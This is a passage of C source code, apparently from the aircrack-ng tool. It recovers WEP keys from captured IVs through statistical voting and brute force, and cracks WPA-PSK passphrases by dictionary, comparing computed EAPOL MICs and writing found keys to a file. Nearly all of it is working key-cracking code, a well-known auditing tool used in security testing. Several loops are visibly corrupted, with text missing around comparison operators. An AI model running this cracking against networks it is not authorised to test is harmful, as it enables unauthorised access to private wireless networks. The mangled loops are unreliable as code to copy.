chrono( &t_stats, 1 ); delta = chrono( &t_begin, 0 ); et_h = delta / 3600; et_m = ( delta - et_h * 3600 ) / 60; et_s = delta - et_h * 3600 - et_m * 60; if( is_cleared == 0 ) { is_cleared++; if( opt.l33t ) printf( "\33[40m" ); printf( "\33[2J" ); } if( opt.l33t ) printf( "\33[34;1m" ); printf( "\33[2;%dH%s\n\n", (ws.ws_col - 12) / 2, progname ); if( opt.l33t ) printf( "\33[33;1m" ); if(table) printf( "\33[5;%dH[%02d:%02d:%02d] Tested %d keys (got %ld IVs)\33[K", (ws.ws_col - 44) / 2, et_h, et_m, et_s, prod, opt.ap->nb_ivs ); else printf( "\33[5;%dH[%02d:%02d:%02d] Tested %lld keys (got %ld IVs)\33[K", (ws.ws_col - 44) / 2, et_h, et_m, et_s, nb_tried, wep.nb_ivs_now ); if( opt.l33t ) printf( "\33[32;22m" ); printf( "\33[7;4HKB depth byte(vote)\n" ); for( i = 0; i <= B; i++ ) { int j, k = ( ws.ws_col - 20 ) / 11; if(!table) { if( opt.l33t ) printf( " %2d \33[1m%3d\33[22m/%3d ", i, wep.depth[i], wep.fudge[i] ); else printf( " %2d %3d/%3d ", i, wep.depth[i], wep.fudge[i] ); } else printf( " %2d %3d/%3d ", i, depth[i], choices[i] ); if(table) { for( j = depth[i]; j < k + depth[i]; j++ ) { if( j >= 256 ) break; if( opt.l33t ) printf( "\33[1m%02X\33[22m(%4d) ", table[i][j].b, table[i][j].votes ); else printf( "%02X(%4d) ", table[i][j].b, table[i][j].votes ); } } else { for( j = wep.depth[i]; j < k + wep.depth[i]; j++ ) { if( j >= 256 ) break; if( wep.poll[i][j].val == 32767 ) { if( opt.l33t ) printf( "\33[1m%02X\33[22m(+inf) ", wep.poll[i][j].idx ); else printf( "%02X(+inf) ", wep.poll[i][j].idx ); } else { if( opt.l33t ) printf( "\33[1m%02X\33[22m(%4d) ", wep.poll[i][j].idx, wep.poll[i][j].val ); else printf( "%02X(%4d) ", wep.poll[i][j].idx, wep.poll[i][j].val ); } } } if (opt.showASCII && !table) if(wep.poll[i][wep.depth[i]].idx>=ASCII_LOW_T && wep.poll[i][wep.depth[i]].idx<=ASCII_HIGH_T) if(wep.poll[i][wep.depth[i]].val>=ASCII_VOTE_STRENGTH_T || ASCII_DISREGARD_STRENGTH ) printf( " %c",wep.poll[i][wep.depth[i]].idx ); printf( "\n" ); } if( B < opt.keylen - 1 ) printf( "\33[J" ); printf( "\n" ); } static void key_found(unsigned char *wepkey, int keylen, int B) { FILE * keyFile; int i, n; int nb_ascii = 0; for( i = 0; i < keylen; i++ ) if( wepkey[i] == 0 || ( wepkey[i] >= 32 && wepkey[i] < 127 ) ) nb_ascii++; wepkey_crack_success = 1; memcpy(bf_wepkey, wepkey, keylen); if( opt.is_quiet ) printf( "KEY FOUND! [ " ); else { if (B != -1) show_wep_stats( B - 1, 1, NULL, NULL, NULL, 0 ); if( opt.l33t ) printf( "\33[31;1m" ); n = ( 80 - 14 - keylen * 3 ) / 2; if( 100 * nb_ascii > 75 * keylen ) n -= ( keylen + 4 ) / 2; if( n <= 0 ) n = 0; printf( "\33[K\33[%dCKEY FOUND! [ ", n ); } for( i = 0; i < keylen - 1; i++ ) printf( "%02X:", wepkey[i] ); printf( "%02X ] ", wepkey[i] ); if( nb_ascii == keylen ) { printf( "(ASCII: " ); for( i = 0; i < keylen; i++ ) printf( "%c", ( ( wepkey[i] > 31 && wepkey[i] < 127 ) || wepkey[i] > 160 ) ? wepkey[i] : '.' ); printf( " )" ); } if( opt.l33t ) printf( "\33[32;22m" ); printf( "\n\tDecrypted correctly: %d%%\n", opt.probability ); printf( "\n" ); // Write the key to a file if (opt.logKeyToFile != NULL) { keyFile = fopen(opt.logKeyToFile, "w"); if (keyFile != NULL) { for( i = 0; i < keylen; i++ ) fprintf(keyFile, "%02X", wepkey[i]); fclose(keyFile); } } } /* test if the current WEP key is valid */ int check_wep_key( unsigned char *wepkey, int B, int keylen ) { unsigned char x1, x2; unsigned long xv; int i, j, n, bad, tests; unsigned char K[64]; unsigned char S[256]; if (keylen<=0) keylen = opt.keylen; pthread_mutex_lock(&mx_nb); nb_tried++; pthread_mutex_unlock(&mx_nb); bad = 0; memcpy( K + 3, wepkey, keylen ); tests = 32; // printf("keylen: %d\n", keylen); // if(keylen==13) // printf("%02X:%02X:%02X:%02X:%02X\n", wepkey[8],wepkey[9],wepkey[10],wepkey[11],wepkey[12]); if(opt.dict) tests = wep.nb_ivs; if(tests < TEST_MIN_IVS) tests=TEST_MIN_IVS; if(tests > TEST_MAX_IVS) tests=TEST_MAX_IVS; for( n = 0; n < tests; n++ ) { /* xv = 5 * ( rand() % wep.nb_ivs ); */ xv = 5 * n; pthread_mutex_lock( &mx_ivb ); memcpy( K, &wep.ivbuf[xv], 3 ); memcpy( S, R, 256 ); for( i = j = 0; i < 256; i++ ) { j = ( j + S[i] + K[i % (3 + keylen)]) & 0xFF; SWAP( S[i], S[j] ); } i = 1; j = ( 0 + S[i] ) & 0xFF; SWAP(S[i], S[j]); x1 = wep.ivbuf[xv + 3] ^ S[(S[i] + S[j]) & 0xFF]; i = 2; j = ( j + S[i] ) & 0xFF; SWAP(S[i], S[j]); x2 = wep.ivbuf[xv + 4] ^ S[(S[i] + S[j]) & 0xFF]; pthread_mutex_unlock( &mx_ivb ); // printf("xv: %li x1: %02X x2: %02X\n", (xv/5), x1, x2); if( ( x1 != 0xAA || x2 != 0xAA ) && ( x1 != 0xE0 || x2 != 0xE0 ) && ( x1 != 0x42 || x2 != 0x42 ) && ( x1 != 0x02 || x2 != 0xAA ) ) //llc sub layer management bad++; if( bad > ((tests*opt.probability)/100) ) return( FAILURE ); } opt.probability = (((tests-bad)*100)/tests); key_found(wepkey, keylen, B); return( SUCCESS ); } /* routine used to sort the votes */ int cmp_votes( const void *bs1, const void *bs2 ) { if( ((vote *) bs1)->val < ((vote *) bs2)->val ) return( 1 ); if( ((vote *) bs1)->val > ((vote *) bs2)->val ) return( -1 ); return( 0 ); } /* sum up the votes and sort them */ int calc_poll( int B ) { int i, n, cid, *vi; int votes[N_ATTACKS][256]; memset(&opt.votes, '\0', sizeof(opt.votes)); /* send the current keybyte # to each thread */ for( cid = 0; cid < opt.nbcpu; cid++ ) { n = sizeof( int ); if( safe_write( mc_pipe[cid][1], &B, n ) != n ) { perror( "write failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } } /* collect the votes, multiply by the korek coeffs */ for( i = 0; i < 256; i++ ) { wep.poll[B][i].idx = i; wep.poll[B][i].val = 0; } for( cid = 0; cid < opt.nbcpu; cid++ ) { n = sizeof( votes ); if( safe_read( cm_pipe[cid][0], votes, n ) != n ) { perror( "read failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } for( n = 0, vi = (int *) votes; n < N_ATTACKS; n++ ) for( i = 0; i < 256; i++, vi++ ) { wep.poll[B][i].val += *vi * K_COEFF[n]; if(K_COEFF[n]) opt.votes[n] += *vi; } } /* set votes to the max if the keybyte is user-defined */ if( opt.debug_row[B] ) wep.poll[B][opt.debug[B]].val = 32767; /* if option is set, restrict keyspace to alpha-numeric */ if( opt.is_alnum ) { for( i = 1; i < 32; i++ ) wep.poll[B][i].val = -1; for( i = 127; i < 256; i++ ) wep.poll[B][i].val = -1; } if( opt.is_fritz ) { for( i = 0; i < 48; i++ ) wep.poll[B][i].val = -1; for( i = 58; i < 256; i++ ) wep.poll[B][i].val = -1; } /* if option is set, restrict keyspace to BCD hex digits */ if( opt.is_bcdonly ) { for( i = 1; i < 256; i++ ) if( i > 0x99 || ( i & 0x0F ) > 0x09 ) wep.poll[B][i].val = -1; } /* sort the votes, highest ones first */ qsort( wep.poll[B], 256, sizeof( vote ), cmp_votes ); return( SUCCESS ); } int update_ivbuf( void ) { int n; struct AP_info *ap_cur; /* 1st pass: compute the total number of available IVs */ wep.nb_ivs_now = 0; wep.nb_aps = 0; ap_cur = ap_1st; while( ap_cur != NULL ) { if( ap_cur->crypt == 2 && ap_cur->target ) { wep.nb_ivs_now += ap_cur->nb_ivs; wep.nb_aps++; } ap_cur = ap_cur->next; } /* 2nd pass: create the main IVs buffer if necessary */ if( wep.nb_ivs == 0 || ( opt.keylen == 5 && wep.nb_ivs_now - wep.nb_ivs > 20000 ) || ( opt.keylen >= 13 && wep.nb_ivs_now - wep.nb_ivs > 40000 ) ) { /* one buffer to rule them all */ pthread_mutex_lock( &mx_ivb ); if( wep.ivbuf != NULL ) { free( wep.ivbuf ); wep.ivbuf = NULL; } wep.nb_ivs = 0; ap_cur = ap_1st; while( ap_cur != NULL ) { if( ap_cur->crypt == 2 && ap_cur->target ) { n = ap_cur->nb_ivs; if( ( wep.ivbuf = realloc( wep.ivbuf, ( wep.nb_ivs + n ) * 5 ) ) == NULL ) { pthread_mutex_unlock( &mx_ivb ); perror( "realloc failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } memcpy( wep.ivbuf + wep.nb_ivs * 5, ap_cur->ivbuf, 5 * n ); wep.nb_ivs += n; } ap_cur = ap_cur->next; } pthread_mutex_unlock( &mx_ivb ); return( RESTART ); } return( SUCCESS ); } /* * It will remove votes for a specific keybyte (and remove from the requested current value) * Return 0 on success, another value on failure */ int remove_votes(int keybyte, unsigned char value) { int i; int found = 0; for (i=0; i < 256; i++) { if (wep.poll[keybyte][i].idx == (int)value) { found = 1; //wep.poll[keybyte][i].val = 0; // Update wep.key } if (found) { // Put the value at the end with NO votes if (i== 255) { wep.poll[keybyte][i].idx = (int)value; wep.poll[keybyte][i].val = 0; } else { wep.poll[keybyte][i].idx = wep.poll[keybyte][i + 1].idx; wep.poll[keybyte][i].val = wep.poll[keybyte][i + 1].val; if (i == 0) { // Also update wep key if it's the first value to remove wep.key[keybyte] = wep.poll[keybyte][i].idx; } } } } return 0; } /* standard attack mode: */ /* this routine gathers and sorts the votes, then recurses until it * * reaches B == keylen. It also stops when the current keybyte vote * * is lower than the highest vote divided by the fudge factor. */ int do_wep_crack1( int B ) { int i, j, l, m, tsel, charread, askchange; int remove_keybyte_nr, remove_keybyte_value; //int a,b; static int k = 0; char user_guess[4]; askchange = 1; get_ivs: switch( update_ivbuf() ) { case FAILURE: return( FAILURE ); case RESTART: return( RESTART ); default: break; } if( ( wep.nb_ivs_now < 256 && opt.debug[0] == 0 ) || ( wep.nb_ivs_now < 32 && opt.debug[0] != 0 ) ) { if( ! opt.no_stdin ) { printf( "Not enough IVs available. You need about 250 000 IVs to crack\n" "40-bit WEP, and more than 800 000 IVs to crack a 104-bit key.\n" ); kill( 0, SIGTERM ); _exit( FAILURE ); } else { printf( "Read %ld packets, got %ld IVs...\r", nb_pkt, wep.nb_ivs_now ); fflush( stdout ); sleep( 1 ); goto get_ivs; } } /* if last keybyte reached, check if the key is valid */ if( B == opt.keylen ) { if( ! opt.is_quiet ) show_wep_stats( B - 1, 0, NULL, NULL, NULL, 0 ); return( check_wep_key( wep.key, B, 0 ) ); } /* now compute the poll resultst for keybyte B */ if( calc_poll( B ) != SUCCESS ) return( FAILURE ); /* fudge threshold = higest vote divided by fudge factor */ for( wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++ ) if( (float) wep.poll[B][wep.fudge[B]].val < (float) wep.poll[B][0].val / opt.ffact ) break; /* try the most likely n votes, where n is the fudge threshold */ for( wep.depth[B] = 0; wep.depth[B] < wep.fudge[B]; ( wep.depth[B] )++ ) { switch( update_ivbuf() ) { case FAILURE: return( FAILURE ); case RESTART: return( RESTART ); default: break; } wep.key[B] = wep.poll[B][wep.depth[B]].idx; if( ! opt.is_quiet ) { show_wep_stats( B, 0, NULL, NULL, NULL, 0 ); } if( B == 4 && opt.keylen == 13 ) { /* even when cracking 104-bit WEP, * * check if the 40-bit key matches */ /* opt.keylen = 5; many functions use keylen. it is dangerous to do this in a multithreaded process */ if( check_wep_key( wep.key, B, 5 ) == SUCCESS ) { opt.keylen = 5; return( SUCCESS ); } /* opt.keylen = 13; */ } if( B + opt.do_brute + 1 == opt.keylen && opt.do_brute ) { /* as noted by Simon Marechal, it's more efficient * to just bruteforce the last two keybytes. */ /* Ask for removing votes here 1. Input keybyte. Use enter when it's done => Bruteforce will start 2. Input value to remove votes from: 00 -> FF or Enter to cancel remove 3. Remove votes 4. Redraw 5. Go back to 1 */ if (opt.visual_inspection == 1) { while(1) { // Show the current stat show_wep_stats( B, 1, NULL, NULL, NULL, 0 ); // Inputting user value until it hits enter or give a valid value printf("On which keybyte do you want to remove votes (Hit Enter when done)? "); memset(user_guess, 0, 4); charread = readLine(user_guess, 3); // Break if 'Enter' key was hit if (user_guess[0] == 0 || charread == 0) break; // If it's not a number, reask // Check if inputted value is correct (from 0 to and inferior to opt.keylen) remove_keybyte_nr = atoi(user_guess); if (isdigit((int)user_guess[0]) == 0 || remove_keybyte_nr < 0 || remove_keybyte_nr >= opt.keylen) continue; // It's a number for sure and the number is correct // Now ask which value should be removed printf("From which keybyte value do you want to remove the votes (Hit Enter to cancel)? "); memset(user_guess, 0, 4); charread = readLine(user_guess, 3); // Break if enter was hit if (user_guess[0] == 0 || charread == 0) continue; remove_keybyte_value = hexToInt(user_guess, charread); // Check if inputted value is correct (hexa). Value range: 00 - FF if (remove_keybyte_value < 0 || remove_keybyte_value > 255) continue; // If correct, remove and redraw remove_votes(remove_keybyte_nr, (unsigned char)remove_keybyte_value); } } if (opt.nbcpu==1 || opt.do_mt_brute==0) { if (opt.do_brute==4) { for( l = 0; l < 256; l++) { wep.key[opt.brutebytes[0]] = l; for( m = 0; m < 256; m++ ) { wep.key[opt.brutebytes[1]] = m; for( i = 0; i < 256; i++ ) { wep.key[opt.brutebytes[2]] = i; for( j = 0; j < 256; j++ ) { wep.key[opt.brutebytes[3]] = j; if (check_wep_key( wep.key, B + 1, 0 ) == SUCCESS) return SUCCESS; } } } } } else if (opt.do_brute==3) { for( m = 0; m < 256; m++ ) { wep.key[opt.brutebytes[0]] = m; for( i = 0; i < 256; i++ ) { wep.key[opt.brutebytes[1]] = i; for( j = 0; j < 256; j++ ) { wep.key[opt.brutebytes[2]] = j; if (check_wep_key( wep.key, B + 1, 0 ) == SUCCESS) return SUCCESS; } } } } else if (opt.do_brute==2) { for( i = 0; i < 256; i++ ) { wep.key[opt.brutebytes[0]] = i; for( j = 0; j < 256; j++ ) { wep.key[opt.brutebytes[1]] = j; if (check_wep_key( wep.key, B + 1, 0 ) == SUCCESS) return SUCCESS; } } } else { for( i = 0; i < 256; i++ ) { wep.key[opt.brutebytes[0]] = i; if (check_wep_key( wep.key, B + 1, 0 ) == SUCCESS) return SUCCESS; } } } else { /* multithreaded bruteforcing of the last 2 keybytes */ k = (k+1) % opt.nbcpu; do { for(tsel=0; tsel16) { usleep(1); continue; } else { /* write our current key to the pipe so it'll have its last 2 bytes bruteforced */ bf_nkeys[(tsel+k) % opt.nbcpu]++; if (safe_write(bf_pipe[(tsel+k) % opt.nbcpu][1], (void *) wep.key, 64) != 64) { perror( "write pmk failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } break; } } } while (tsel>=opt.nbcpu && !wepkey_crack_success); if (wepkey_crack_success) { memcpy(wep.key, bf_wepkey, opt.keylen); return(SUCCESS); } } } else { switch( do_wep_crack1( B + 1 ) ) { case SUCCESS: return( SUCCESS ); case RESTART: return( RESTART ); default: break; } } } //if we are going to fail on the root byte, check again if there are still threads bruting, if so wait and check again. if(B==0) { for(i=0; i0 && !wepkey_crack_success) usleep(1); } if (wepkey_crack_success) { memcpy(wep.key, bf_wepkey, opt.keylen); return(SUCCESS); } } return( FAILURE ); } /* experimental single bruteforce attack */ int do_wep_crack2( int B ) { int i, j; switch( update_ivbuf() ) { case FAILURE: return( FAILURE ); case RESTART: return( RESTART ); default: break; } if( wep.nb_ivs_now / opt.keylen < 60000 ) { printf( "Not enough IVs available. This option is only meant to be used\n" "if the standard attack method fails with more than %d IVs.\n", opt.keylen * 60000 ); kill( 0, SIGTERM ); _exit( FAILURE ); } for( i = 0; i <= B; i++ ) { if( calc_poll( i ) != SUCCESS ) return( FAILURE ); wep.key[i] = wep.poll[i][0].idx; wep.fudge[i] = 1; wep.depth[i] = 0; if( ! opt.is_quiet ) show_wep_stats( i, 0, NULL, NULL, NULL, 0 ); } for( wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++ ) if( (float) wep.poll[B][wep.fudge[B]].val < (float) wep.poll[B][0].val / opt.ffact ) break; for( wep.depth[B] = 0; wep.depth[B] < wep.fudge[B]; wep.depth[B]++ ) { switch( update_ivbuf() ) { case FAILURE: return( FAILURE ); case RESTART: return( RESTART ); default: break; } wep.key[B] = wep.poll[B][wep.depth[B]].idx; if( ! opt.is_quiet ) show_wep_stats( B, 0, NULL, NULL, NULL, 0 ); for( i = B + 1; i < opt.keylen - 2; i++ ) { if( calc_poll( i ) != SUCCESS ) return( FAILURE ); wep.key[i] = wep.poll[i][0].idx; wep.fudge[i] = 1; wep.depth[i] = 0; if( ! opt.is_quiet ) show_wep_stats( i, 0, NULL, NULL, NULL, 0 ); } for( i = 0; i < 256; i++ ) { wep.key[opt.keylen - 2] = i; for( j = 0; j < 256; j++ ) { wep.key[opt.keylen - 1] = j; if( check_wep_key( wep.key, opt.keylen - 2, 0 ) == SUCCESS ) return( SUCCESS ); } } } return( FAILURE ); } int inner_bruteforcer_thread(void *arg) { int i, j, k, l, reduce=0; size_t nthread = (size_t)arg; unsigned char wepkey[64]; int ret=0; inner_bruteforcer_thread_start: reduce=0; if( close_aircrack ) return(ret); if (wepkey_crack_success) return(SUCCESS); /* we get the key for which we'll bruteforce the last 2 bytes from the pipe */ if( safe_read( bf_pipe[nthread][0], (void *) wepkey, 64) != 64) { perror( "read failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } else reduce=1; if( close_aircrack ) return(ret); /* now we test the 256*256 keys... if we succeed we'll save it and exit the thread */ if (opt.do_brute==4) { for( l = 0; l < 256; l++ ) { wepkey[opt.brutebytes[0]] = l; for( k = 0; k < 256; k++ ) { wepkey[opt.brutebytes[1]] = k; for( i = 0; i < 256; i++ ) { wepkey[opt.brutebytes[2]] = i; for( j = 0; j < 256; j++ ) { wepkey[opt.brutebytes[3]] = j; if( check_wep_key( wepkey, opt.keylen - 2, 0 ) == SUCCESS ) return(SUCCESS); } } } } } else if (opt.do_brute==3) { for( k = 0; k < 256; k++ ) { wepkey[opt.brutebytes[0]] = k; for( i = 0; i < 256; i++ ) { wepkey[opt.brutebytes[1]] = i; for( j = 0; j < 256; j++ ) { wepkey[opt.brutebytes[2]] = j; if( check_wep_key( wepkey, opt.keylen - 2, 0 ) == SUCCESS ) return(SUCCESS); } } } } else if (opt.do_brute==2) { for( i = 0; i < 256; i++ ) { wepkey[opt.brutebytes[0]] = i; for( j = 0; j < 256; j++ ) { wepkey[opt.brutebytes[1]] = j; if( check_wep_key( wepkey, opt.keylen - 2, 0 ) == SUCCESS ) return(SUCCESS); } } } else { for( j = 0; j < 256; j++ ) { wepkey[opt.brutebytes[0]] = j; if( check_wep_key( wepkey, opt.keylen - 2, 0 ) == SUCCESS ) return(SUCCESS); } } if(reduce) bf_nkeys[nthread]--; goto inner_bruteforcer_thread_start; } /* display the current wpa key info, matrix-like */ void show_wpa_stats( char *key, int keylen, unsigned char pmk[32], unsigned char ptk[64], unsigned char mic[16], int force ) { float delta, calc, ksec; int i, et_h, et_m, et_s; char tmpbuf[28]; long long int remain, eta; if (chrono( &t_stats, 0 ) < 0.15 && force == 0) return; if (force != 0) pthread_mutex_lock(&mx_wpastats); // if forced, wait until we can lock else if (pthread_mutex_trylock(&mx_wpastats) != 0) // if not forced, just try return; chrono( &t_stats, 1 ); delta = chrono( &t_begin, 0 ); et_h = delta / 3600; et_m = ( delta - et_h * 3600 ) / 60; et_s = delta - et_h * 3600 - et_m * 60; if( ( delta = chrono( &t_kprev, 0 ) ) >= 6 ) { int delta0; delta0 = delta; t_kprev.tv_sec += 3; delta = chrono( &t_kprev, 0 ); nb_kprev *= delta / delta0; } if (_speed_test) { int ks = (int) ((float) nb_kprev / delta); printf("%d k/s\r", ks); fflush(stdout); if (et_s >= 15) { printf("\n"); exit(0); } goto __out; } ksec = (float) nb_kprev / delta; if( opt.l33t ) printf( "\33[33;1m" ); if (opt.stdin_dict) { printf( "\33[5;20H[%02d:%02d:%02d] %lld keys tested " "(%2.2f k/s) ", et_h, et_m, et_s, nb_tried, (float) nb_kprev / delta); } else { calc = ((float)nb_tried / (float)opt.wordcount)*100; remain = (opt.wordcount - nb_tried); eta = (remain / (long long int)ksec); printf( "\33[4;7H[%02d:%02d:%02d] %lld/%lld keys tested " "(%2.2f k/s) ", et_h, et_m, et_s, nb_tried, opt.wordcount, (float) nb_kprev / delta); printf( "\33[6;7HTime left: "); calctime(eta, calc); } memset( tmpbuf, ' ', sizeof( tmpbuf ) ); memcpy( tmpbuf, key, keylen > 27 ? 27 : keylen ); tmpbuf[27] = '\0'; if( opt.l33t ) printf( "\33[37;1m" ); printf( "\33[8;24HCurrent passphrase: %s\n", tmpbuf ); if( opt.l33t ) printf( "\33[32;22m" ); printf( "\33[11;7HMaster Key : " ); if( opt.l33t ) printf( "\33[32;1m" ); for( i = 0; i < 32; i++ ) { if( i == 16 ) printf( "\n\33[23C" ); printf( "%02X ", pmk[i] ); } if( opt.l33t ) printf( "\33[32;22m" ); printf( "\33[14;7HTransient Key : " ); if( opt.l33t ) printf( "\33[32;1m" ); for( i = 0; i < 64; i++ ) { if( i > 0 && i % 16 == 0 ) printf( "\n\33[23C" ); printf( "%02X ", ptk[i] ); } if( opt.l33t ) printf( "\33[32;22m" ); printf( "\33[19;7HEAPOL HMAC : " ); if( opt.l33t ) printf( "\33[32;1m" ); for( i = 0; i < 16; i++ ) printf( "%02X ", mic[i] ); printf( "\n" ); __out: pthread_mutex_unlock(&mx_wpastats); } int crack_wpa_thread( void *arg ) { FILE * keyFile; char essid[36]; char key[8][128]; unsigned char pmk[8][128]; unsigned char pke[100]; unsigned char ptk[8][80]; unsigned char mic[8][20]; struct WPA_data* data; struct AP_info* ap; int thread; int threadid=0; int ret=0; int i, j, len, slen; // int nparallel = 1; #if defined(__i386__) || defined(__x86_64__) // Set SIMD size to match what we can support, 1/4/8 (MMX/SSE2/AVX2) cpuinfo.simdsize = cpuid_simdsize(0); // if (shasse2_cpuid()>=2) // nparallel = 4; #else cpuinfo.simdsize = 1; #endif data = (struct WPA_data*)arg; ap = data->ap; thread = data->thread; threadid = data->threadid; strncpy(essid, ap->essid, 36); #ifndef OLD_SSE_CORE init_ssecore(threadid); #endif /* pre-compute the key expansion buffer */ memcpy( pke, "Pairwise key expansion", 23 ); if( memcmp( ap->wpa.stmac, ap->bssid, 6 ) < 0 ) { memcpy( pke + 23, ap->wpa.stmac, 6 ); memcpy( pke + 29, ap->bssid, 6 ); } else { memcpy( pke + 23, ap->bssid, 6 ); memcpy( pke + 29, ap->wpa.stmac, 6 ); } if( memcmp( ap->wpa.snonce, ap->wpa.anonce, 32 ) < 0 ) { memcpy( pke + 35, ap->wpa.snonce, 32 ); memcpy( pke + 67, ap->wpa.anonce, 32 ); } else { memcpy( pke + 35, ap->wpa.anonce, 32 ); memcpy( pke + 67, ap->wpa.snonce, 32 ); } /* receive the essid */ slen = strlen(essid) + 4; #ifndef OLD_SSE_CORE init_atoi(); #endif while( 1 ) { if (close_aircrack) { #ifndef OLD_SSE_CORE free_ssecore(threadid); #endif pthread_exit(&ret); } /* receive passphrases */ for(j=0; j < cpuinfo.simdsize; ++j) { key[j][0]=0; while(wpa_receive_passphrase(key[j], data)==0) { if (wpa_wordlists_done==1) // if no more words will arrive and... { if (j==0) // ...this is the first key in this loop: there's nothing else to do return 0; else // ...we have some key pending in this loop: keep working break; } sched_yield(); // yield the processor until there are keys available // this only happens when the queue is empty (when beginning and ending the wordlist) } key[j][127]=0; } // PMK calculation if (cpuinfo.simdsize >= 4) { #ifndef OLD_SSE_CORE init_wpapsk(key, essid, threadid); // init_wpapsk(key[0], key[1], key[2], key[3], essid, threadid); memcpy(pmk[0], xpmk1[threadid], 32); memcpy(pmk[1], xpmk2[threadid], 32); memcpy(pmk[2], xpmk3[threadid], 32); memcpy(pmk[3], xpmk4[threadid], 32); if (cpuinfo.simdsize == 8) { memcpy(pmk[4], xpmk5[threadid], 32); memcpy(pmk[5], xpmk6[threadid], 32); memcpy(pmk[6], xpmk7[threadid], 32); memcpy(pmk[7], xpmk8[threadid], 32); } #else calc_4pmk(key[0], key[1], key[2], key[3], essid, pmk[0], pmk[1], pmk[2], pmk[3]); #endif } else for(j=0; j < cpuinfo.simdsize; ++j) calc_pmk( key[j], essid, pmk[j] ); for(j=0; j < cpuinfo.simdsize; ++j) { /* compute the pairwise transient key and the frame MIC */ for (i = 0; i < 4; i++) { pke[99] = i; HMAC(EVP_sha1(), pmk[j], 32, pke, 100, ptk[j] + i * 20, NULL); } if (ap->wpa.keyver == 1) HMAC(EVP_md5(), ptk[j], 16, ap->wpa.eapol, ap->wpa.eapol_size, mic[j], NULL); else HMAC(EVP_sha1(), ptk[j], 16, ap->wpa.eapol, ap->wpa.eapol_size, mic[j], NULL); if (memcmp( mic[j], ap->wpa.keymic, 16 ) == 0) { // to stop do_wpa_crack, we close the dictionary pthread_mutex_lock( &mx_dic ); if(opt.dict != NULL) { if (!opt.stdin_dict) fclose(opt.dict); opt.dict = NULL; } pthread_mutex_unlock( &mx_dic ); for( i = 0; i < opt.nbcpu; i++ ) { // we make sure do_wpa_crack doesn't block before exiting, // now that we're not consuming passphrases here any longer pthread_mutex_lock(&wpa_data[i].mutex); pthread_cond_signal(&wpa_data[i].cond); pthread_mutex_unlock(&wpa_data[i].mutex); } memcpy(data->key, key[j], sizeof(data->key)); // Write the key to a file if (opt.logKeyToFile != NULL) { keyFile = fopen(opt.logKeyToFile, "w"); if (keyFile != NULL) { fprintf(keyFile, "%s", key[j]); fclose(keyFile); } } if (opt.is_quiet) { #ifndef OLD_SSE_CORE ret = SUCCESS; goto crack_wpa_cleanup; #else return SUCCESS; #endif } pthread_mutex_lock(&mx_nb); for (i = 0; i < cpuinfo.simdsize; i++) if (key[i][0] != 0) { nb_tried++; nb_kprev++; } pthread_mutex_unlock(&mx_nb); len = strlen(key[j]); if (len > 64 ) len = 64; if (len < 8) len = 8; show_wpa_stats( key[j], len, pmk[j], ptk[j], mic[j], 1 ); if (opt.l33t) printf( "\33[31;1m" ); printf("\33[8;%dH\33[2KKEY FOUND! [ %s ]\33[11B\n", ( 80 - 15 - (int) len ) / 2, key[j] ); if (opt.l33t) printf( "\33[32;22m" ); #ifndef OLD_SSE_CORE ret = SUCCESS; goto crack_wpa_cleanup; #else return SUCCESS; #endif } } pthread_mutex_lock(&mx_nb); for (i = 0; i < cpuinfo.simdsize; i++) if (key[i][0] != 0) { nb_tried++; nb_kprev++; } pthread_mutex_unlock(&mx_nb); if (!opt.is_quiet) { len = strlen(key[0]); if (len > 64 ) len = 64; if (len < 8) len = 8; show_wpa_stats(key[0], len, pmk[0], ptk[0], mic[0], 0); } } #ifndef OLD_SSE_CORE crack_wpa_cleanup: free_ssecore(threadid); return ret; #endif } /** * Open a specific dictionary * nb: index of the dictionary * return 0 on success and FAILURE if it failed */ int next_dict(int nb) { off_t tmpword = 0; pthread_mutex_lock( &mx_dic ); if(opt.dict != NULL) { if(!opt.stdin_dict) fclose(opt.dict); opt.dict = NULL; } opt.nbdict = nb; if(opt.dicts[opt.nbdict] == NULL) { pthread_mutex_unlock( &mx_dic ); return( FAILURE ); } while(opt.nbdict < MAX_DICTS && opt.dicts[opt.nbdict] != NULL) { if( strcmp( opt.dicts[opt.nbdict], "-" ) == 0 ) { opt.stdin_dict = 1; opt.dictfinish = 1; // no ETA stats on stdin if( ( opt.dict = fdopen( fileno(stdin) , "r" ) ) == NULL ) { perror( "fdopen(stdin) failed" ); opt.nbdict++; continue; } opt.no_stdin = 1; } else { opt.stdin_dict = 0; if( ( opt.dict = fopen( opt.dicts[opt.nbdict], "r" ) ) == NULL ) { printf("ERROR: Opening dictionary %s failed (%s)\n", opt.dicts[opt.nbdict], strerror(errno)); opt.nbdict++; continue; } fseek(opt.dict, 0L, SEEK_END); if ( ftello( opt.dict ) <= 0L ) { printf("ERROR: Processing dictionary file %s (%s)\n", opt.dicts[opt.nbdict], strerror(errno)); fclose( opt.dict ); opt.dict = NULL; opt.nbdict++; continue; } if (!opt.dictfinish) { chrono(&t_dictup, 1); opt.dictidx[opt.nbdict].dictsize = ftello(opt.dict); if (!opt.dictidx[opt.nbdict].dictpos || (opt.dictidx[opt.nbdict].dictpos > opt.dictidx[opt.nbdict].dictsize)) { tmpword = (long double)linecount(opt.dicts[opt.nbdict], (opt.dictidx[opt.nbdict].dictpos ? opt.dictidx[opt.nbdict].dictpos : 0), 32); opt.dictidx[opt.nbdict].wordcount += tmpword; opt.wordcount += tmpword; opt.dictidx[opt.nbdict].dictpos = (READBUF_BLKSIZE*32); } } rewind( opt.dict ); } break; } pthread_mutex_unlock( &mx_dic ); if(opt.nbdict >= MAX_DICTS || opt.dicts[opt.nbdict] == NULL) return( FAILURE ); return( 0 ); } #ifdef HAVE_SQLITE int sql_wpacallback(void* arg, int ccount, char** values, char** columnnames ) { struct AP_info *ap = (struct AP_info*)arg; unsigned char ptk[80]; unsigned char mic[20]; FILE * keyFile; if(ccount) {} //XXX if(columnnames) {} //XXX calc_mic(ap, (unsigned char*) values[0], ptk, mic); if( memcmp( mic, ap->wpa.keymic, 16 ) == 0 ) { // Write the key to a file if (opt.logKeyToFile != NULL) { keyFile = fopen(opt.logKeyToFile, "w"); if (keyFile != NULL) { fprintf(keyFile, "%s", values[1]); fclose(keyFile); } } if( opt.is_quiet ) 